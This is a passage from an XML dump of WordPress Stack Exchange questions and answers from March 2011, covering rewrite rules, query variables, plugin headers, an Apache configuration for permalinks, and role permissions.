  <row Id="12969" PostTypeId="2" ParentId="12965" CreationDate="2011-03-24T18:05:00.927" Score="1" ViewCount="" Body="&lt;p&gt;I think the &lt;code&gt;add_rewrite_tag()&lt;/code&gt; is not needed, and can be replaced with adding the variables to the public query vars directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Either directly (in your init hook):&#xA;$wp-&amp;gt;add_query_var( 'var1' );&#xA;$wp-&amp;gt;add_query_var( 'var2' );&#xA;&#xA;// Or via a filter:&#xA;add_filter( 'query_vars', 'wpse12965_query_vars' );&#xA;function wpse12965_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'var1';&#xA;    $query_vars[] = 'var2';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, you currently allow one or two slashes in front but none at the back. I think you want to move the &lt;code&gt;/?&lt;/code&gt; to the end. The &lt;code&gt;[a-zA-Z-]&lt;/code&gt; part for the slug is also sometimes written as &lt;code&gt;[^/]&lt;/code&gt; (everything but a slash), but in this case it probably won't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would write the rewrite rule like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse12065_init' );&#xA;function wpse12065_init()&#xA;{&#xA;    add_rewrite_rule(&#xA;        'carpage(/([^/]+))?(/([^/]+))?/?',&#xA;        'index.php?pagename=carpage&amp;amp;var1=$matches[2]&amp;amp;var2=$matches[4]',&#xA;        'top'&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;(/([^/]+))?&lt;/code&gt; makes the whole group optional, so &lt;code&gt;/carpage&lt;/code&gt;, &lt;code&gt;/carpage/honda&lt;/code&gt; and &lt;code&gt;/carpage/honda/finland&lt;/code&gt; should work, with an optional slash at the end. Because we need an extra group for the &lt;code&gt;?&lt;/code&gt;, the variables are in the next capture group, so what was &lt;code&gt;$matches[1]&lt;/code&gt; becomes &lt;code&gt;$matches[2]&lt;/code&gt; and &lt;code&gt;$matches[2]&lt;/code&gt; becomes &lt;code&gt;$matches[4]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to debug your rewrite rules I recommend &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3606/a-tool-to-analyze-rewrite-rules/3608#3608&quot;&gt;my Rewrite analyzer plugin&lt;/a&gt;, it lets you play with the URL and see the resulting query variables.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-03-24T21:11:42.287" LastActivityDate="2011-03-24T21:11:42.287" CommentCount="1" />
  <row Id="12970" PostTypeId="1" AcceptedAnswerId="12985" CreationDate="2011-03-24T18:12:09.530" Score="1" ViewCount="178" Body="&lt;p&gt;I'm planing a custom post type functionality for my theme and need to be able to display more than just one &lt;code&gt;post_type&lt;/code&gt; in a admin overview table. That request I imagine might look like &lt;code&gt;edit.php?post_type[]=theme_slide_nivo&amp;amp;post_type[]=theme_slide_other&lt;/code&gt;. Haven't actually tried that but i'm pretty confident it won't work. So guys, is it possible to achieve such result without hacking core? &lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2011-03-24T21:34:12.580" Title="Get multiple custom type posts at once in edit.php?post_type request" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="12971" PostTypeId="1" AcceptedAnswerId="12988" CreationDate="2011-03-24T18:51:50.153" Score="1" ViewCount="170" Body="&lt;p&gt;hey guys,&#xA;I really need you help with this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the subscribe2 Plugin (for email subscriptions).&#xA;I want to show the signup form as a widget. The plugin author recommends doing it the following way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = apply_filters('the_content', '&amp;lt;!--subscribe2--&amp;gt;');&#xA;$content = remove_filter('the_content', 'page_route');&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this works fine, except for the fact that I'm additionally using the mingle plugin (kind of a social network plugin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I'm on a page of the mingle plugin (like /login, /register, /activity, etc.) the widget with the subscribe form suddenly displays the exact same content as the pages itself? Just weird!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why that could happen? Or how I could prevent that! I really need a solution for that!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: all filters mingle applies...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('get_avatar', array($this,'override_avatar'), 10, 4);&#xA;add_filter('get_comment_author_url', array($this,'override_author_url'));&#xA;add_filter('mngl-show-powered-by', array(&amp;amp;$this, 'show_powered_by'));&#xA;add_filter('the_content', array( &amp;amp;$this, 'page_route' ), 100);&#xA;add_action('wp_enqueue_scripts', array(&amp;amp;$this, 'load_scripts'), 1);&#xA;add_action('admin_enqueue_scripts', array(&amp;amp;$this,'load_admin_scripts'));&#xA;register_activation_hook(MNGL_PATH.&quot;/mingle.php&quot;, array( &amp;amp;$this, 'install' ));&#xA;&#xA;// Used to process standalone requests (make sure mingle_init comes before parse_standalone_request)&#xA;add_action('init', array(&amp;amp;$this,'mingle_init'));&#xA;add_action('init', array(&amp;amp;$this,'parse_standalone_request'));&#xA;add_filter('request', array(&amp;amp;$this,'parse_pretty_profile_url'));&#xA;&#xA;add_action('phpmailer_init', array(&amp;amp;$this, 'set_wp_mail_return_path'));&#xA;add_action('phpmailer_init', array(&amp;amp;$this, 'set_wp_mailer'));&#xA;add_action('admin_init', array(&amp;amp;$this, 'prevent_admin_access'));&#xA;&#xA;add_filter('mngl-activity-types', array( &amp;amp;$this, 'add_activity_types' ));&#xA;add_filter('mngl-notification-types', array( &amp;amp;$this, 'add_notification_types' ));&#xA;&#xA;add_filter('mngl-notification-types', array( $this, 'add_notification_types' ));&#xA;add_filter('mngl-activity-types', array( &amp;amp;$this, 'add_activity_types' ));&#xA;add_action('user_register', array(&amp;amp;$this, 'add_default_friends') );&#xA;add_filter('mngl-activity-types', array( &amp;amp;$this, 'add_activity_types' ));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3529" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-03-24T22:51:49.900" LastActivityDate="2011-03-24T22:51:49.900" Title="problem with implementing widget via the_content()" Tags="&lt;filters&gt;&lt;oop&gt;&lt;remove-filter&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="0" />
  <row Id="12972" PostTypeId="1" AcceptedAnswerId="12978" CreationDate="2011-03-24T18:58:00.740" Score="0" ViewCount="115" Body="&lt;p&gt;I have my own function called breadcrumbs(). In it I call is_author() to determine whether I am on an author page. If true I would like to know &lt;em&gt;which&lt;/em&gt; author's page I am on. I tried the_author(), but nothing came up. I looked through the WP codex also. Can someone please help?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-25T05:54:53.483" Title="Breadcrumbs - get the author?" Tags="&lt;author&gt;&lt;codex&gt;" AnswerCount="3" />
  <row Id="12973" PostTypeId="1" AcceptedAnswerId="12975" CreationDate="2011-03-24T19:01:47.327" Score="0" ViewCount="112" Body="&lt;p&gt;i'm trying to separate categories/subcategories in author.php so they each have their own endpoint link. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's very similar to this question BUT for the life of me I can't enable the plugin provided: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4243/how-to-set-up-sub-categories-for-author-pages&quot;&gt;How to set up sub-categories for author pages?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution provided was this: &lt;a href=&quot;https://gist.github.com/705545&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/705545&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the file, it's instructions say &quot;enable this plugin&quot; ... but when i put it in wp-content/plugins folder it doesn't show up on the list. I've tried putting it in a folder, and just putting the .php file in plugins folder. But it doesn't show up on the list. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How can I enable this?&lt;/strong&gt; or if you have any other ideas on how to achieve these results i'd greatly appreciate it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="4194" LastActivityDate="2011-03-24T19:08:58.013" Title="How to create rewrite endpoints it in author.php?" Tags="&lt;url-rewriting&gt;&lt;author&gt;" AnswerCount="2" />
  <row Id="12974" PostTypeId="2" ParentId="12950" CreationDate="2011-03-24T19:05:09.807" Score="0" ViewCount="" Body="&lt;p&gt;First: &lt;strong&gt;Sorry&lt;/strong&gt;, if i wasted your time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem couldn't have been guessed by anyone and was lying in the middle of my class. I simply build an array where i pushed all needed stuff into. This array was rebuilt before i pushed it into the &lt;code&gt;register_taxonomy()&lt;/code&gt; function. There i simply forgot to unset those parts i didn't need anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;@MikeSchinkel @One Trick Pony - please add some answer here, so i can upvote you for your efforts. Thanks to everybody :)&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-24T19:05:09.807" CommentCount="1" />
  <row Id="12975" PostTypeId="2" ParentId="12973" CreationDate="2011-03-24T19:08:22.800" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Pwn:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add the text &lt;em&gt;&quot;Plugin Name:&lt;/em&gt;* in front of the text &lt;em&gt;&quot;Author Endpoints Example.&quot;&lt;/em&gt; You may need to remove the leading asterisk (&quot;*&quot;).&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-03-24T19:08:22.800" CommentCount="3" />
  <row Id="12976" PostTypeId="2" ParentId="12973" CreationDate="2011-03-24T19:08:58.013" Score="0" ViewCount="" Body="&lt;p&gt;That file doesn't have a plugin info header so WP doesn't recognize it as a plugin. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;Plugin Name: Name Of The Plugin&#xA;Plugin URI: http://URI_Of_Page_Describing_Plugin_and_Updates&#xA;Description: A brief description of the Plugin.&#xA;Version: The Plugin's Version Number, e.g.: 1.0&#xA;Author: Name Of The Plugin Author&#xA;Author URI: http://URI_Of_The_Plugin_Author&#xA;License: A &quot;Slug&quot; license name e.g. GPL2&#xA;*/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see &lt;a href=&quot;http://codex.wordpress.org/Writing_a_Plugin&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Writing_a_Plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4113" LastActivityDate="2011-03-24T19:08:58.013" CommentCount="1" />
  <row Id="12977" PostTypeId="2" ParentId="12972" CreationDate="2011-03-24T19:29:43.887" Score="2" ViewCount="" Body="&lt;p&gt;So I figured it out by looking at the author.php file included with the twenty ten theme. Apparently you need to first gain access to the posts before creating breadcrumb. Following code worked for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (is_author()) {      &#xA;    the_post();&#xA;    echo '&amp;lt;a href=&quot;&quot;&amp;gt;Author Archive for '.get_the_author().'&amp;lt;/a&amp;gt;';&#xA;    rewind_posts(); //or first post will be cut off&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4013" LastActivityDate="2011-03-24T19:29:43.887" />
  <row Id="12978" PostTypeId="2" ParentId="12972" CreationDate="2011-03-24T19:31:44.910" Score="1" ViewCount="" Body="&lt;p&gt;Call &lt;code&gt;echo $GLOBALS['wp_query']-&amp;gt;query_vars['author_name'];&lt;/code&gt; and it should show you the author.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also &lt;code&gt;echo $GLOBALS['wp_query']-&amp;gt;post-&amp;gt;post_author;&lt;/code&gt; or &lt;code&gt;echo $GLOBALS['wp_query']-&amp;gt;queried_object-&amp;gt;post_author;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;hope i didn't mix up with arrays and objects.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-24T19:31:44.910" CommentCount="2" />
  <row Id="12979" PostTypeId="2" ParentId="7567" CreationDate="2011-03-24T19:46:48.507" Score="0" ViewCount="" Body="&lt;p&gt;This is a basic robots.txt for WordPress that tells good bots not to index stuff outside your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please be aware many bots and crawlers do not care about robots.txt and do whatever they want.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;User-agent: *&#xA;&#xA;Disallow: /feed/&#xA;Disallow: /trackback/&#xA;Disallow: /wp-admin/&#xA;Disallow: /wp-content/&#xA;Disallow: /wp-includes/&#xA;Disallow: /xmlrpc.php&#xA;Disallow: /wp-&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-24T19:46:48.507" />
  <row Id="12980" PostTypeId="1" AcceptedAnswerId="12999" CreationDate="2011-03-24T20:06:19.183" Score="0" ViewCount="116" Body="&lt;p&gt;I can't get WordPress pretty permalinks to work on my Fedora LAMP server.  If I set them and click a page/post link I'll get a &quot;&quot;Oops! This link appears to be broken.&quot;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The .htaccess file is writable and being updated, &lt;/li&gt;&#xA;&lt;li&gt;mod_rewrite module seems to be loaded in my httpd.conf (See below)&lt;/li&gt;&#xA;&lt;li&gt;The errors in my apache log say simply &quot;Document not found&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm at the end of my rope!  Here's the &lt;strong&gt;httpd.conf&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;### Section 1: Global Environment&#xA;&#xA;# start the rewrite engine (I ADDED THIS)&#xA;RewriteEngine on &#xA;&#xA;ServerTokens OS&#xA;&#xA;ServerRoot &quot;/etc/httpd&quot;&#xA;&#xA;PidFile run/httpd.pid&#xA;&#xA;Timeout 120&#xA;&#xA;KeepAlive Off&#xA;&#xA;MaxKeepAliveRequests 100&#xA;&#xA;KeepAliveTimeout 15&#xA;&#xA;&amp;lt;IfModule prefork.c&amp;gt;&#xA;StartServers       8&#xA;MinSpareServers    5&#xA;MaxSpareServers   20&#xA;ServerLimit      256&#xA;MaxClients       256&#xA;MaxRequestsPerChild  4000&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;&amp;lt;IfModule worker.c&amp;gt;&#xA;StartServers         2&#xA;MaxClients         150&#xA;MinSpareThreads     25&#xA;MaxSpareThreads     75 &#xA;ThreadsPerChild     25&#xA;MaxRequestsPerChild  0&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;#&#xA;# Listen: Allows you to bind Apache to specific IP addresses and/or&#xA;# ports, in addition to the default. See also the &amp;lt;VirtualHost&amp;gt;&#xA;# directive.&#xA;#&#xA;# Change this to Listen on specific IP addresses as shown below to &#xA;# prevent Apache from glomming onto all bound IP addresses (0.0.0.0)&#xA;#&#xA;#Listen 12.34.56.78:80&#xA;Listen 80&#xA;&#xA;LoadModule auth_basic_module modules/mod_auth_basic.so&#xA;LoadModule auth_digest_module modules/mod_auth_digest.so&#xA;LoadModule authn_file_module modules/mod_authn_file.so&#xA;LoadModule authn_alias_module modules/mod_authn_alias.so&#xA;LoadModule authn_anon_module modules/mod_authn_anon.so&#xA;LoadModule authn_dbm_module modules/mod_authn_dbm.so&#xA;LoadModule authn_default_module modules/mod_authn_default.so&#xA;LoadModule authz_host_module modules/mod_authz_host.so&#xA;LoadModule authz_user_module modules/mod_authz_user.so&#xA;LoadModule authz_owner_module modules/mod_authz_owner.so&#xA;LoadModule authz_groupfile_module modules/mod_authz_groupfile.so&#xA;LoadModule authz_dbm_module modules/mod_authz_dbm.so&#xA;LoadModule authz_default_module modules/mod_authz_default.so&#xA;LoadModule ldap_module modules/mod_ldap.so&#xA;LoadModule authnz_ldap_module modules/mod_authnz_ldap.so&#xA;LoadModule include_module modules/mod_include.so&#xA;LoadModule log_config_module modules/mod_log_config.so&#xA;LoadModule logio_module modules/mod_logio.so&#xA;LoadModule env_module modules/mod_env.so&#xA;LoadModule ext_filter_module modules/mod_ext_filter.so&#xA;LoadModule mime_magic_module modules/mod_mime_magic.so&#xA;LoadModule expires_module modules/mod_expires.so&#xA;LoadModule deflate_module modules/mod_deflate.so&#xA;LoadModule headers_module modules/mod_headers.so&#xA;LoadModule usertrack_module modules/mod_usertrack.so&#xA;LoadModule setenvif_module modules/mod_setenvif.so&#xA;LoadModule mime_module modules/mod_mime.so&#xA;LoadModule dav_module modules/mod_dav.so&#xA;LoadModule status_module modules/mod_status.so&#xA;LoadModule autoindex_module modules/mod_autoindex.so&#xA;LoadModule info_module modules/mod_info.so&#xA;LoadModule dav_fs_module modules/mod_dav_fs.so&#xA;LoadModule vhost_alias_module modules/mod_vhost_alias.so&#xA;LoadModule negotiation_module modules/mod_negotiation.so&#xA;LoadModule dir_module modules/mod_dir.so&#xA;LoadModule actions_module modules/mod_actions.so&#xA;LoadModule speling_module modules/mod_speling.so&#xA;LoadModule userdir_module modules/mod_userdir.so&#xA;LoadModule alias_module modules/mod_alias.so&#xA;LoadModule rewrite_module modules/mod_rewrite.so&#xA;LoadModule proxy_module modules/mod_proxy.so&#xA;LoadModule proxy_balancer_module modules/mod_proxy_balancer.so&#xA;LoadModule proxy_ftp_module modules/mod_proxy_ftp.so&#xA;LoadModule proxy_http_module modules/mod_proxy_http.so&#xA;LoadModule proxy_connect_module modules/mod_proxy_connect.so&#xA;LoadModule cache_module modules/mod_cache.so&#xA;LoadModule suexec_module modules/mod_suexec.so&#xA;LoadModule disk_cache_module modules/mod_disk_cache.so&#xA;LoadModule cgi_module modules/mod_cgi.so&#xA;&#xA;#&#xA;# The following modules are not loaded by default:&#xA;#&#xA;#LoadModule cern_meta_module modules/mod_cern_meta.so&#xA;#LoadModule asis_module modules/mod_asis.so&#xA;&#xA;Include conf.d/*.conf&#xA;&#xA;User apache&#xA;Group apache&#xA;&#xA;### Section 2: 'Main' server configuration&#xA;&#xA;&#xA;ServerAdmin root@localhost&#xA;&#xA;UseCanonicalName Off&#xA;&#xA;DocumentRoot &quot;/var/www/html&quot;&#xA;&#xA;&amp;lt;Directory /&amp;gt;&#xA;    Options FollowSymLinks&#xA;    AllowOverride None&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;Directory &quot;/var/www/html&quot;&amp;gt;&#xA;&#xA;&#xA;    Options Indexes FollowSymLinks&#xA;&#xA;&#xA;    AllowOverride None&#xA;&#xA;&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&#xA;&amp;lt;IfModule mod_userdir.c&amp;gt;&#xA;&#xA;    UserDir disabled&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;DirectoryIndex index.html index.html.var&#xA;&#xA;#&#xA;# AccessFileName: The name of the file to look for in each directory&#xA;# for additional configuration directives.  See also the AllowOverride&#xA;# directive.&#xA;#&#xA;AccessFileName .htaccess&#xA;&#xA;&amp;lt;Files ~ &quot;^\.ht&quot;&amp;gt;&#xA;    Order allow,deny&#xA;    Deny from all&#xA;&amp;lt;/Files&amp;gt;&#xA;&#xA;TypesConfig /etc/mime.types&#xA;&#xA;DefaultType text/plain&#xA;&#xA;&amp;lt;IfModule mod_mime_magic.c&amp;gt;&#xA;#   MIMEMagicFile /usr/share/magic.mime&#xA;    MIMEMagicFile conf/magic&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;HostnameLookups Off&#xA;&#xA;ErrorLog logs/error_log&#xA;&#xA;CustomLog logs/access_log combined&#xA;&#xA;ServerSignature On&#xA;&#xA;Alias /icons/ &quot;/var/www/icons/&quot;&#xA;&#xA;&amp;lt;Directory &quot;/var/www/icons&quot;&amp;gt;&#xA;    Options Indexes MultiViews FollowSymLinks&#xA;    AllowOverride None&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;IfModule mod_dav_fs.c&amp;gt;&#xA;    # Location of the WebDAV lock database.&#xA;    DAVLockDB /var/lib/dav/lockdb&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;ScriptAlias /cgi-bin/ &quot;/var/www/cgi-bin/&quot;&#xA;&#xA;&amp;lt;Directory &quot;/var/www/cgi-bin&quot;&amp;gt;&#xA;    AllowOverride None&#xA;    Options None&#xA;    Order allow,deny&#xA;    Allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&#xA;IndexOptions FancyIndexing VersionSort NameWidth=* HTMLTable Charset=UTF-8&#xA;&#xA;ReadmeName README.html&#xA;HeaderName HEADER.html&#xA;&#xA;IndexIgnore .??* *~ *# HEADER* README* RCS CVS *,v *,t&#xA;&#xA;AddDefaultCharset UTF-8&#xA;&#xA;AddType application/x-compress .Z&#xA;AddType application/x-gzip .gz .tgz&#xA;&#xA;AddType application/x-x509-ca-cert .crt&#xA;AddType application/x-pkcs7-crl    .crl&#xA;&#xA;AddHandler type-map var&#xA;&#xA;AddType text/html .shtml&#xA;AddOutputFilter INCLUDES .shtml&#xA;&#xA;&#xA;Alias /error/ &quot;/var/www/error/&quot;&#xA;&#xA;&amp;lt;IfModule mod_negotiation.c&amp;gt;&#xA;&amp;lt;IfModule mod_include.c&amp;gt;&#xA;    &amp;lt;Directory &quot;/var/www/error&quot;&amp;gt;&#xA;        AllowOverride None&#xA;        Options IncludesNoExec&#xA;        AddOutputFilter Includes html&#xA;        AddHandler type-map var&#xA;        Order allow,deny&#xA;        Allow from all&#xA;        LanguagePriority en es de fr&#xA;        ForceLanguagePriority Prefer Fallback&#xA;    &amp;lt;/Directory&amp;gt;&#xA;&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;&#xA;#&#xA;# Proxy Server directives. Uncomment the following lines to&#xA;# enable the proxy server:&#xA;#&#xA;#&amp;lt;IfModule mod_proxy.c&amp;gt;&#xA;#ProxyRequests On&#xA;#&#xA;#&amp;lt;Proxy *&amp;gt;&#xA;#    Order deny,allow&#xA;#    Deny from all&#xA;#    Allow from .example.com&#xA;#&amp;lt;/Proxy&amp;gt;&#xA;&#xA;#&#xA;# Enable/disable the handling of HTTP/1.1 &quot;Via:&quot; headers.&#xA;# (&quot;Full&quot; adds the server version; &quot;Block&quot; removes all outgoing Via: headers)&#xA;# Set to one of: Off | On | Full | Block&#xA;#&#xA;#ProxyVia On&#xA;&#xA;&#xA;NameVirtualHost *:80&#xA;&#xA;&#xA;&amp;lt;VirtualHost *:80&amp;gt;&#xA; # start the rewrite engine&#xA; RewriteEngine on&#xA; ServerName www.example.com&#xA; DocumentRoot /var/www/html/com_example_www&#xA;&amp;lt;/VirtualHost&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4197" LastActivityDate="2011-03-25T01:43:22.423" Title="Can't get permalinks working!" Tags="&lt;permalinks&gt;&lt;mod-rewrite&gt;" AnswerCount="1" />
  <row Id="12981" PostTypeId="2" ParentId="12963" CreationDate="2011-03-24T20:28:13.753" Score="1" ViewCount="" Body="&lt;p&gt;The &quot;official&quot; way to get the ID of the current category is &lt;code&gt;get_queried_object_id()&lt;/code&gt; (also works with tags and custom taxonomies).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-24T20:28:13.753" CommentCount="1" />
  <row Id="12982" PostTypeId="1" CreationDate="2011-03-24T21:17:58.400" Score="2" ViewCount="108" Body="&lt;p&gt;What's the best way to check current url for endpoint in a template file? I have a plugin that creates endpoints in &lt;strong&gt;author.php&lt;/strong&gt;... so now i'm trying to check in &lt;strong&gt;author.php&lt;/strong&gt; so that only certain code is executed if the URL ends in a specific endpoint? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;example.com/author/username/endpointA&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;example.com/author/username/endpointB&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is that each endpoint has different content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;" OwnerUserId="4194" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-03-26T10:52:35.077" LastActivityDate="2011-03-26T10:52:35.077" Title="How to check current URL for endpoint in a template file?" Tags="&lt;url-rewriting&gt;&lt;urls&gt;&lt;author&gt;" AnswerCount="1" />
  <row Id="12983" PostTypeId="1" CreationDate="2011-03-24T21:22:02.073" Score="0" ViewCount="136" Body="&lt;p&gt;I'm trying to figure out a way to do a loop / archive page with posts organized by month. So where each page displays post from 1 month. Then the previous and next links would be labeled February 2011 and April 2011, for example. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking it would possibly use the date.php file, but I feel like I may run into problems when paginating from one year to the next... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any ideas, or documentation on where to look further? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4198" LastActivityDate="2011-03-24T22:01:21.930" Title="Paginated Archives or Loop by Month" Tags="&lt;pagination&gt;&lt;archive&gt;&lt;date-time&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="12984" PostTypeId="1" AcceptedAnswerId="12994" CreationDate="2011-03-24T21:32:55.493" Score="1" ViewCount="206" Body="&lt;p&gt;I've just setup a new Blog for a friend and thought it's better to not give him Administrator Access right away as a pre-caution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new user as Editor therefore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then I saw that this user can not change the Theme Settings like Background and Header.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to allow the Editor Role to edit any theme settings in Twenty Ten or a Child or it? He should basically be able to do anything an Adminsitor can do reg. the Theme, probably even changing themes.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-24T23:06:25.010" Title="How can I allow the Editor Role to change Theme Settings?" Tags="&lt;themes&gt;&lt;roles&gt;&lt;user-roles&gt;" AnswerCount="2" />
  <row Id="12985" PostTypeId="2" ParentId="12970" CreationDate="2011-03-24T21:34:12.580" Score="2" ViewCount="" Body="&lt;p&gt;I tried it out to get an idea of the problems you will run into. The following code allows you to specify multiple post types with the &lt;code&gt;multi_post_type&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse12970_pre_get_posts' );&#xA;function wpse12970_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( is_admin() &amp;amp;&amp;amp; array_key_exists( 'multi_post_type', $_GET ) ) {&#xA;        $wp_query-&amp;gt;set( 'post_type', $_GET['multi_post_type'] );&#xA;        add_filter( 'the_posts', 'wpse12970_the_posts', 10, 2 );&#xA;    }&#xA;}&#xA;&#xA;function wpse12970_the_posts( $posts, &amp;amp;$wp_query )&#xA;{&#xA;    $wp_query-&amp;gt;set( 'post_type', $GLOBALS['post_type'] );&#xA;    return $posts;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first problem was that the global &lt;code&gt;$post_type&lt;/code&gt; should be a single type, otherwise other functions break. So we &quot;smuggle&quot; the multiple post types in under another name, and remove them again after the query ran.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The counter at the top of the list and the custom columns are based on only one post type. If there are many results paging will probably break.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to do this, you should create your own list class, a child of &lt;code&gt;WP_List_Table&lt;/code&gt;, like &lt;code&gt;WP_Posts_List_Table&lt;/code&gt; but then for multiple post types. Because &lt;code&gt;edit.php&lt;/code&gt; loads this table by default and I see no way to intercept it, you should create your own replacement of &lt;code&gt;edit.php&lt;/code&gt; in your plugin and use that. I think it is doable, and probably interesting, but a lot of work.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-03-24T21:34:12.580" />
  <row Id="12986" PostTypeId="2" ParentId="12971" CreationDate="2011-03-24T21:37:10.777" Score="1" ViewCount="" Body="&lt;p&gt;I think you have a little error in your code that will prevent it from working:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = apply_filters('the_content', '&amp;lt;!--subscribe2--&amp;gt;');&#xA;$content = remove_filter('the_content', 'page_route');&#xA;echo $content;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$content = remove_filter('the_content', 'page_route');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will put &lt;code&gt;TRUE&lt;/code&gt; or &lt;code&gt;FALSE&lt;/code&gt; into &lt;code&gt;$content&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just replace it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$result_remove_filter = remove_filter('the_content', 